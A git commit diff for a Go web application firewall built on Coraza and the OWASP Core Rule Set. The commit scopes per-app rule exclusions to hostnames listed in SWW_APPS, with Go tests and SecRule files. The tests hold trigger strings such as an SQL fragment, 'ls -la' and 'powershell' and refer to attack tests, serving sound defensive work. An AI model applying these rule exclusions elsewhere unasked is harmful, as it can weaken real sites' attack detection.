SWW_APPS: an app's Core Rule Set fixes apply only to the hostnames that serve it (closes #220)
check / check (push) Failing after 17m38s
check / check (push) Failing after 17m38s
Each app's fixes are one .conf file and one entry in apps. They apply only while Inspect has set the app's transaction variable, such as tx.app_gitea. SWW_APPS names each hostname's apps. A hostname gets only its apps' fixes; while SWW_APPS is unset, every hostname gets every app's fixes. A hostname in SWW_APPS that is not a DNS name, such as *.example.com, stops the start. Unset, SWW_APPS is logged at start as null; set empty, as "". Model: opus-5-5
This commit is contained in:
1 parent
463a19ef2a
commit
427841bdbd
21 files changed
+1425
-782
No files matched your search
+115
-110
@@ -1,9 +1,9 @@
|
||||
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
||||
// method, the URL with its query and the headers of a request, and on its
|
||||
// body while SWW_WAF_BODY_LIMIT is set, with the fourteen changes sww
|
||||
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
||||
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
||||
// response.
|
||||
// body while SWW_WAF_BODY_LIMIT is set, with the six changes sww
|
||||
// makes to it, the fixes for the apps SWW_APPS names, and the exclusions in
|
||||
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
|
||||
// in SPEC.md describes them. It reads no response.
|
||||
//
|
||||
// sww writes only to its state directory, so Coraza is built with
|
||||
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
||||
@@ -16,6 +16,8 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"maps"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"os"
|
||||
@@ -32,11 +34,8 @@ import (
|
||||
|
||||
// directives are the Core Rule Set as sww runs it, with the
|
||||
// paranoia level for %d, bodyDirectives for the first %s while
|
||||
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
|
||||
// giteaExclusions for the third, wordpressExclusions for the fourth,
|
||||
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
|
||||
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
|
||||
// and nextcloudExclusions for the ninth.
|
||||
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, and the
|
||||
// directives of every app in apps for the third.
|
||||
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
||||
// Core Rule Set keeps for the rules that set it up, which
|
||||
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
||||
@@ -84,62 +83,28 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
|
||||
# before the rules of phase 1 too.
|
||||
%s
|
||||
|
||||
# The eighth change comes before the rules for the same reason.
|
||||
# The apps' fixes come before the rules for the same reason.
|
||||
%s
|
||||
|
||||
# The ninth change comes before the rules for the same reason.
|
||||
%s
|
||||
|
||||
# So does the tenth.
|
||||
%s
|
||||
|
||||
# So does the eleventh.
|
||||
%s
|
||||
|
||||
# So does the twelfth.
|
||||
%s
|
||||
|
||||
# So does the thirteenth.
|
||||
%s
|
||||
|
||||
# And the fourteenth.
|
||||
%s
|
||||
|
||||
# The sixth: only the rules for requests are loaded, and no response is
|
||||
# The fifth: only the rules for requests are loaded, and no response is
|
||||
# inspected.
|
||||
Include @owasp_crs/REQUEST-*.conf
|
||||
|
||||
# The third: redirect_uri is not checked for a URL naming an IP address or
|
||||
# localhost. Coraza matches a parameter name here, and in the fourth,
|
||||
# without regard to case. ARGS holds the fields of a form data or multipart
|
||||
# body Coraza reads as well as the query parameters, so a field of one of
|
||||
# these names is left out too.
|
||||
# localhost. Coraza matches a parameter name here without regard to case.
|
||||
# ARGS holds the fields of a form data or multipart body Coraza reads as
|
||||
# well as the query parameters, so a field of this name is left out too.
|
||||
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
|
||||
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
|
||||
|
||||
# The fourth: the query parameters in which gitea sends names within a
|
||||
# repository or its own records, or a page of its own site, are not
|
||||
# checked against the lists of system files, shell paths and command
|
||||
# names. Coraza takes one rule id per directive.
|
||||
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
||||
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
||||
!ARGS:artifactName|!ARGS:redirect_to"
|
||||
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
||||
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
||||
!ARGS:artifactName|!ARGS:redirect_to"
|
||||
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
||||
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
||||
!ARGS:artifactName|!ARGS:redirect_to"
|
||||
|
||||
# The fifth, for Referer: it is not checked for a Unix command without
|
||||
# arguments, for Java starting a process, or for a Java class name. 944130
|
||||
# refused every page opened from the page of java.lang.String.md. The
|
||||
# cookies are left out in Inspect.
|
||||
# The fourth: Referer is not checked for a Unix command without arguments,
|
||||
# for Java starting a process, or for a Java class name. 944130 refused
|
||||
# every page opened from the page of java.lang.String.md.
|
||||
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
|
||||
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
|
||||
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
|
||||
|
||||
# The seventh: a container image push that reuses a layer names the image
|
||||
# The sixth: a container image push that reuses a layer names the image
|
||||
# it takes the layer from in the query parameter from, which is not
|
||||
# checked for command names. 932260 refused the push of a layer from
|
||||
# owner/python3-app.
|
||||
@@ -189,61 +154,61 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
|
||||
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
|
||||
`
|
||||
|
||||
// giteaExclusions are the eighth change: the fields of gitea's own
|
||||
// requests that skip the rules that refused them there, as Coraza
|
||||
// directives.
|
||||
//
|
||||
// app is an app whose ordinary requests the Core Rule Set would refuse,
|
||||
// with the fixes that let them pass.
|
||||
type app struct {
|
||||
// directives are Coraza exclusions, loaded before the Core Rule Set's
|
||||
// rules. Their first rule skips to the marker they end with, unless
|
||||
// Inspect sets the transaction variable named for the app, such as
|
||||
// app_gitea. The skip reaches only phase 1, so a rule of a later phase
|
||||
// must check that variable itself.
|
||||
directives string
|
||||
// cookies are the cookies the Core Rule Set reads a request without.
|
||||
cookies []string
|
||||
}
|
||||
|
||||
//go:embed gitea.conf
|
||||
var giteaExclusions string
|
||||
var giteaDirectives string
|
||||
|
||||
// wordpressExclusions are the ninth change: the fields of WordPress's own
|
||||
// requests that skip the rules that refused them there, as Coraza
|
||||
// directives.
|
||||
//
|
||||
//go:embed wordpress.conf
|
||||
var wordpressExclusions string
|
||||
var wordpressDirectives string
|
||||
|
||||
// drupalExclusions are the tenth change: the fields of Drupal's own
|
||||
// requests that skip the rules that refused them there, as Coraza
|
||||
// directives.
|
||||
//
|
||||
//go:embed drupal.conf
|
||||
var drupalExclusions string
|
||||
var drupalDirectives string
|
||||
|
||||
// mediawikiExclusions are the eleventh change: the fields of MediaWiki's
|
||||
// own requests that skip the rules that refused them there, as Coraza
|
||||
// directives.
|
||||
//
|
||||
//go:embed mediawiki.conf
|
||||
var mediawikiExclusions string
|
||||
var mediawikiDirectives string
|
||||
|
||||
// mastodonExclusions are the twelfth change: the fields of Mastodon's own
|
||||
// requests that skip the rules that refused them there, as Coraza
|
||||
// directives.
|
||||
//
|
||||
//go:embed mastodon.conf
|
||||
var mastodonExclusions string
|
||||
var mastodonDirectives string
|
||||
|
||||
// vaultwardenExclusions are the thirteenth change: the fields of
|
||||
// Vaultwarden's own requests that skip the rules that refused them there, as
|
||||
// Coraza directives.
|
||||
//
|
||||
//go:embed vaultwarden.conf
|
||||
var vaultwardenExclusions string
|
||||
var vaultwardenDirectives string
|
||||
|
||||
// nextcloudExclusions are the fourteenth change: the fields of Nextcloud's
|
||||
// own requests that skip the rules that refused them there, the WebDAV
|
||||
// methods it uses, its cookie of the account's name, and its uploads,
|
||||
// whose bodies are not read, as Coraza directives.
|
||||
//
|
||||
//go:embed nextcloud.conf
|
||||
var nextcloudExclusions string
|
||||
var nextcloudDirectives string
|
||||
|
||||
// cookiesNotRead are the cookies the Core Rule Set reads a request
|
||||
// without, the rest of the fifth change.
|
||||
// apps are the apps whose fixes sww has, by the name SWW_APPS gives each.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
|
||||
//nolint:gochecknoglobals // a constant cannot be a map
|
||||
var apps = map[string]app{
|
||||
"drupal": {directives: drupalDirectives},
|
||||
"gitea": {
|
||||
directives: giteaDirectives,
|
||||
cookies: []string{"gitea_flash", "redirect_to"},
|
||||
},
|
||||
"mastodon": {directives: mastodonDirectives},
|
||||
"mediawiki": {directives: mediawikiDirectives},
|
||||
"nextcloud": {directives: nextcloudDirectives},
|
||||
"vaultwarden": {directives: vaultwardenDirectives},
|
||||
"wordpress": {directives: wordpressDirectives},
|
||||
}
|
||||
|
||||
// AppNames returns the names of the apps whose fixes sww has, in
|
||||
// alphabetical order.
|
||||
func AppNames() []string {
|
||||
return slices.Sorted(maps.Keys(apps))
|
||||
}
|
||||
|
||||
// Params are what New needs.
|
||||
type Params struct {
|
||||
@@ -259,6 +224,10 @@ type Params struct {
|
||||
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
||||
// there is none.
|
||||
ExclusionsFile string
|
||||
// Apps are the names of the apps each hostname serves, by hostname in
|
||||
// lowercase (SWW_APPS). A request gets the fixes of its hostname's
|
||||
// apps only, or of every app while Apps is nil.
|
||||
Apps map[string][]string
|
||||
}
|
||||
|
||||
// The ids of sww's own rules, which an exclusions file may not
|
||||
@@ -350,13 +319,15 @@ func checkExclusions(exclusions string) error {
|
||||
type CoreRuleSet struct {
|
||||
engine coraza.WAF
|
||||
bodyLimit int64
|
||||
apps map[string][]string
|
||||
}
|
||||
|
||||
// New returns the Core Rule Set with the fourteen changes, at params'
|
||||
// paranoia level, without the rules it switches off, reading request
|
||||
// bodies up to params' limit, and with params' exclusions file loaded
|
||||
// before the Core Rule Set's rules. An exclusions file is an error if it
|
||||
// cannot be read or does not parse, or if checkExclusions refuses it.
|
||||
// New returns the Core Rule Set with the six changes and the apps' fixes,
|
||||
// at params' paranoia level, without the rules it switches off, reading
|
||||
// request bodies up to params' limit, and with params' exclusions file
|
||||
// loaded before the Core Rule Set's rules. An exclusions file is an error
|
||||
// if it cannot be read or does not parse, or if checkExclusions refuses
|
||||
// it.
|
||||
func New(params Params) (*CoreRuleSet, error) {
|
||||
body := ""
|
||||
if params.BodyLimit > 0 {
|
||||
@@ -379,10 +350,13 @@ func New(params Params) (*CoreRuleSet, error) {
|
||||
}
|
||||
}
|
||||
|
||||
var fixes strings.Builder
|
||||
for _, name := range AppNames() {
|
||||
fixes.WriteString(apps[name].directives + "\n")
|
||||
}
|
||||
|
||||
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
||||
giteaExclusions, wordpressExclusions, drupalExclusions,
|
||||
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
|
||||
nextcloudExclusions)
|
||||
fixes.String())
|
||||
|
||||
if len(params.DisabledRules) > 0 {
|
||||
ids := make([]string, len(params.DisabledRules))
|
||||
@@ -400,7 +374,9 @@ func New(params Params) (*CoreRuleSet, error) {
|
||||
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
|
||||
}
|
||||
|
||||
return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
|
||||
return &CoreRuleSet{
|
||||
engine: engine, bodyLimit: params.BodyLimit, apps: params.Apps,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// Result is what the Core Rule Set found in a request.
|
||||
@@ -412,11 +388,12 @@ type Result struct {
|
||||
Score int
|
||||
}
|
||||
|
||||
// Inspect runs the Core Rule Set on r, a request from client: on its
|
||||
// method, its URL with the query, and its headers, the Cookie header
|
||||
// without the cookies in cookiesNotRead, and on body, r's body as the
|
||||
// caller has it, as readBody reads it. It returns what it found, what it
|
||||
// read of body, and the error that ended the reading early, if one did.
|
||||
// Inspect runs the Core Rule Set on r, a request from client, with the
|
||||
// fixes of the apps appsFor names for r's hostname: on its method, its URL
|
||||
// with the query, and its headers, the Cookie header without those apps'
|
||||
// cookies, and on body, r's body as the caller has it, as readBody reads
|
||||
// it. It returns what it found, what it read of body, and the error that
|
||||
// ended the reading early, if one did.
|
||||
func (c *CoreRuleSet) Inspect(
|
||||
r *http.Request, client netip.Addr, body io.Reader,
|
||||
) (Result, []byte, error) {
|
||||
@@ -424,13 +401,24 @@ func (c *CoreRuleSet) Inspect(
|
||||
// Closing would remove the files Coraza wrote, and it writes none.
|
||||
defer func() { _ = tx.Close() }()
|
||||
|
||||
// The transaction's variables are set only through Coraza's interface
|
||||
// for plugins.
|
||||
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
|
||||
|
||||
var cookiesNotRead []string
|
||||
|
||||
for _, name := range c.appsFor(r.Host) {
|
||||
state.Variables().TX().Set("app_"+name, []string{"1"})
|
||||
cookiesNotRead = append(cookiesNotRead, apps[name].cookies...)
|
||||
}
|
||||
|
||||
tx.ProcessConnection(client.String(), 0, "", 0)
|
||||
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
|
||||
|
||||
for name, values := range r.Header {
|
||||
for _, value := range values {
|
||||
if name == "Cookie" {
|
||||
value = withoutCookiesNotRead(value)
|
||||
value = withoutCookies(value, cookiesNotRead)
|
||||
if value == "" {
|
||||
continue // it held those cookies alone
|
||||
}
|
||||
@@ -523,9 +511,26 @@ func score(tx types.Transaction) int {
|
||||
return n
|
||||
}
|
||||
|
||||
// withoutCookiesNotRead returns value, a Cookie header's, without the
|
||||
// cookies in cookiesNotRead.
|
||||
func withoutCookiesNotRead(value string) string {
|
||||
// appsFor returns the names of the apps whose fixes a request for host,
|
||||
// its Host header, gets: every app while SWW_APPS is unset, and otherwise
|
||||
// those SWW_APPS lists for host's name, without the port and in
|
||||
// lowercase.
|
||||
func (c *CoreRuleSet) appsFor(host string) []string {
|
||||
if c.apps == nil {
|
||||
return AppNames()
|
||||
}
|
||||
|
||||
hostname, _, err := net.SplitHostPort(host)
|
||||
if err != nil {
|
||||
hostname = host // it has no port
|
||||
}
|
||||
|
||||
return c.apps[strings.ToLower(hostname)]
|
||||
}
|
||||
|
||||
// withoutCookies returns value, a Cookie header's, without the cookies
|
||||
// named in cookiesNotRead.
|
||||
func withoutCookies(value string, cookiesNotRead []string) string {
|
||||
var kept []string
|
||||
|
||||
for cookie := range strings.SplitSeq(value, ";") {
|
||||
|
||||
@@ -36,12 +36,14 @@ var loaded = struct {
|
||||
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
|
||||
|
||||
// loaderFor returns the function that loads the Core Rule Set with params
|
||||
// once, making it the first time params are asked for.
|
||||
// once, making it the first time params are asked for. %#v writes a nil
|
||||
// Apps, which gives every app's fixes, apart from an empty one, which
|
||||
// gives none.
|
||||
func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
|
||||
loaded.Lock()
|
||||
defer loaded.Unlock()
|
||||
|
||||
settings := fmt.Sprintf("%+v", params)
|
||||
settings := fmt.Sprintf("%#v", params)
|
||||
|
||||
load, found := loaded.loaders[settings]
|
||||
if !found {
|
||||
@@ -155,9 +157,10 @@ func inspectBody(
|
||||
}
|
||||
|
||||
for _, header := range r.headers {
|
||||
// Go's server keeps Host and Transfer-Encoding out of the headers.
|
||||
// Go's server keeps Host and Transfer-Encoding out of the headers,
|
||||
// whatever their case.
|
||||
name, value, _ := strings.Cut(header, ": ")
|
||||
switch name {
|
||||
switch http.CanonicalHeaderKey(name) {
|
||||
case "Host":
|
||||
req.Host = value
|
||||
case "Transfer-Encoding":
|
||||
@@ -202,8 +205,8 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
}
|
||||
|
||||
// wantChange checks that crs lets through passes, a request one of the
|
||||
// fourteen changes is for, and still finds result in refused, a request like
|
||||
// it that the change is not for.
|
||||
// six changes or an app's fixes are for, and still finds result in
|
||||
// refused, a request like it that they are not for.
|
||||
func wantChange(
|
||||
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
||||
result coreruleset.Result,
|
||||
@@ -464,6 +467,123 @@ func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
|
||||
matched(930120, 932160))
|
||||
}
|
||||
|
||||
// giteaFixed are gitea requests that only gitea's fixes let through, one
|
||||
// for each kind of fix, each with what the Core Rule Set finds in it
|
||||
// without them.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var giteaFixed = []struct {
|
||||
request request
|
||||
result coreruleset.Result
|
||||
}{
|
||||
// A search of code, on the path of gitea's search.
|
||||
{get("/explore/code?q=SELECT%20*%20FROM%20users%20WHERE"), matched(942100)},
|
||||
// A file name, in a parameter gitea sends names in, on any path.
|
||||
{get("/?path=.gitignore"), matched(930120)},
|
||||
// A file name, in a cookie of gitea's.
|
||||
{
|
||||
get("/owner/repo", "Cookie: gitea_flash=success%3DFile%2Bpackage.json%2Bdeleted"),
|
||||
matched(930120),
|
||||
},
|
||||
}
|
||||
|
||||
// The hostnames of the tests of SWW_APPS: the one that serves gitea, and
|
||||
// one that serves another app.
|
||||
const (
|
||||
giteaHost = "git.example"
|
||||
otherHost = "blog.example"
|
||||
)
|
||||
|
||||
// gitea is gitea's name in SWW_APPS.
|
||||
const gitea = "gitea"
|
||||
|
||||
// wordpress is WordPress's name in SWW_APPS.
|
||||
const wordpress = "wordpress"
|
||||
|
||||
// withHost returns r sent to host.
|
||||
func withHost(r request, host string) request {
|
||||
return request{r.method, r.target, append([]string{"Host: " + host}, r.headers...)}
|
||||
}
|
||||
|
||||
// servingApps returns the Core Rule Set at the defaults, with SWW_APPS
|
||||
// giving apps.
|
||||
func servingApps(t *testing.T, apps map[string][]string) *coreruleset.CoreRuleSet {
|
||||
t.Helper()
|
||||
|
||||
return shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, Apps: apps,
|
||||
})
|
||||
}
|
||||
|
||||
func TestAppsUnsetGivesEveryHostnameEveryAppsFixes(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := servingApps(t, nil)
|
||||
|
||||
for _, fixed := range giteaFixed {
|
||||
for _, host := range []string{giteaHost, otherHost} {
|
||||
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestListedHostnameGetsItsAppsFixes(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := servingApps(t, map[string][]string{giteaHost: {gitea}})
|
||||
|
||||
// The hostname is matched without the port and without regard to case.
|
||||
for _, host := range []string{giteaHost, "GIT.Example:8443"} {
|
||||
for _, fixed := range giteaFixed {
|
||||
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestUnlistedHostnameGetsTheFullCheck(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, apps := range []map[string][]string{
|
||||
{giteaHost: {gitea}},
|
||||
// SWW_APPS set empty lists no hostname.
|
||||
{},
|
||||
} {
|
||||
crs := servingApps(t, apps)
|
||||
|
||||
for _, host := range []string{otherHost, otherHost + ":8443", "git.example.org"} {
|
||||
for _, fixed := range giteaFixed {
|
||||
wantResult(t, crs, withHost(fixed.request, host), fixed.result)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestWordPressFixesApplyOnlyToAHostnameThatServesWordPress(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := servingApps(t, map[string][]string{
|
||||
giteaHost: {gitea}, otherHost: {wordpress},
|
||||
})
|
||||
|
||||
// A search, which only WordPress's fixes let through.
|
||||
search := get("/?s=python3")
|
||||
|
||||
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
||||
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
||||
}
|
||||
|
||||
func TestHostnameListingTwoAppsGetsTheFixesOfBoth(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := servingApps(t, map[string][]string{giteaHost: {gitea, wordpress}})
|
||||
|
||||
// A file name that only gitea's fixes let through, and a search that only
|
||||
// WordPress's fixes let through.
|
||||
for _, target := range []string{"/?path=.gitignore", "/?s=python3"} {
|
||||
wantResult(t, crs, withHost(get(target), giteaHost), coreruleset.Result{})
|
||||
}
|
||||
}
|
||||
|
||||
// withExclusions returns the Core Rule Set at the defaults, with the
|
||||
// exclusions file at path.
|
||||
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
|
||||
@@ -625,17 +745,24 @@ const passwordField = "password="
|
||||
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
||||
|
||||
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
||||
// requests in the file name in testdata is refused, at the defaults and
|
||||
// while bodies are read. A request with neither a body nor a Content-Type
|
||||
// header is checked only at the defaults: with neither, the set that reads
|
||||
// bodies has nothing more to check. Each request runs as its own parallel
|
||||
// subtest.
|
||||
func wantRecordedRequestsPass(t *testing.T, name string) {
|
||||
// requests in the file name in testdata is refused on example.com, where
|
||||
// they were recorded, while SWW_APPS lists only app for it. They are
|
||||
// checked at the defaults and while bodies are read. With SWW_APPS unset,
|
||||
// every app's fixes apply. These only switch checks off, so the requests
|
||||
// pass then too. A request with neither a body nor a Content-Type header is
|
||||
// checked only at the defaults: with neither, the set that reads bodies has
|
||||
// nothing more to check. Each request runs as its own parallel subtest.
|
||||
func wantRecordedRequestsPass(t *testing.T, name, app string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||
apps := map[string][]string{"example.com": {app}}
|
||||
defaults := servingApps(t, apps)
|
||||
bodies := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||
Apps: apps,
|
||||
})
|
||||
|
||||
for _, recorded := range recordedRequests(t, name) {
|
||||
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
||||
@@ -836,12 +963,22 @@ func wordpressAttackTargets(attack string) []string {
|
||||
}
|
||||
}
|
||||
|
||||
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
// wantWordPressRequestsPass checks that the recorded ordinary WordPress
|
||||
// requests pass on otherHost, where they were recorded, while SWW_APPS lists
|
||||
// only wordpress for it. They pass at the defaults, and those with a body
|
||||
// pass while bodies up to 64 KiB are read too. Every app's fixes only switch
|
||||
// checks off, so the requests pass with SWW_APPS unset too.
|
||||
func wantWordPressRequestsPass(t *testing.T) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
||||
apps := map[string][]string{otherHost: {wordpress}}
|
||||
defaults := servingApps(t, apps)
|
||||
bodies := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
|
||||
Apps: apps,
|
||||
})
|
||||
|
||||
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
|
||||
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
||||
@@ -862,6 +999,16 @@ func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
wantWordPressRequestsPass(t)
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
||||
|
||||
for _, attack := range []string{
|
||||
sqlInjection,
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# The tenth change: on Drupal's paths, some fields skip the rules that refused
|
||||
# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused
|
||||
# ordinary Drupal requests there. They are the fields where Drupal sends a
|
||||
# search, a name, a file name or an address. Each exclusion runs with the
|
||||
# request, before the rules it switches off, so this file is loaded before the
|
||||
@@ -25,6 +25,13 @@
|
||||
# 932230: ls -la
|
||||
# 932235: python3
|
||||
|
||||
# Unless SWW_APPS lists drupal for the request's hostname, every rule below is
|
||||
# skipped. Inspect sets tx.app_drupal when it does.
|
||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||
# tx.app_drupal itself.
|
||||
SecRule &TX:app_drupal "@eq 0" \
|
||||
"id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL"
|
||||
|
||||
# Every admin page's filters and autocompletes, and the page to return to:
|
||||
# title: /admin/content?title=python3
|
||||
# name: /admin/content/media?name=python3
|
||||
@@ -237,3 +244,5 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
|
||||
SecRule &ARGS_GET:json.mail "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
|
||||
|
||||
SecMarker END_DRUPAL
|
||||
@@ -5,6 +5,8 @@ import (
|
||||
"net/url"
|
||||
"slices"
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
)
|
||||
|
||||
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
@@ -34,7 +36,21 @@ const drupalName = "name="
|
||||
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "drupal-requests.txt")
|
||||
wantRecordedRequestsPass(t, "drupal-requests.txt", "drupal")
|
||||
}
|
||||
|
||||
func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := servingApps(t, map[string][]string{
|
||||
giteaHost: {gitea}, otherHost: {"drupal"},
|
||||
})
|
||||
|
||||
// A search, which only Drupal's fixes let through.
|
||||
search := get("/search?keys=python3")
|
||||
|
||||
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
||||
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
||||
}
|
||||
|
||||
// drupalAttacks are an SQL injection, a path traversal and a script
|
||||
|
||||
@@ -1,8 +1,53 @@
|
||||
# The eighth change: on gitea's paths, some fields skip the rules that refused
|
||||
# ordinary gitea requests there. They are the fields where gitea sends a search,
|
||||
# a file name or a branch name. Each exclusion runs with the request, before the
|
||||
# rules it switches off, those of phase 1 included, so this file is loaded before
|
||||
# the Core Rule Set's rules. Each comment names a request the rule refused.
|
||||
# gitea's fixes: some fields skip the rules that refused ordinary gitea requests.
|
||||
# They are the fields where gitea sends a search, a file name or a branch name.
|
||||
# Each exclusion runs with the request, before the rules it switches off, those
|
||||
# of phase 1 included, so this file is loaded before the Core Rule Set's rules.
|
||||
# Each comment names a request the rule refused.
|
||||
|
||||
# Unless SWW_APPS lists gitea for the request's hostname, every rule below is
|
||||
# skipped. Inspect sets tx.app_gitea when it does.
|
||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||
# tx.app_gitea itself.
|
||||
SecRule &TX:app_gitea "@eq 0" \
|
||||
"id:900590,phase:1,pass,nolog,skipAfter:END_GITEA"
|
||||
|
||||
# The query parameters in which gitea sends names within a repository or its
|
||||
# own records, or a page of its own site, are not checked against the lists of
|
||||
# system files, shell paths and command names, on any path:
|
||||
# 930120: .gitignore
|
||||
# 932160: bin/docker-entrypoint
|
||||
# 932260: docker-build
|
||||
SecAction "id:900591,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:files,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:ref,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:sha,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:branch,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:workflow,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:path,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:files,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:ref,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:sha,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:branch,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:workflow,\
|
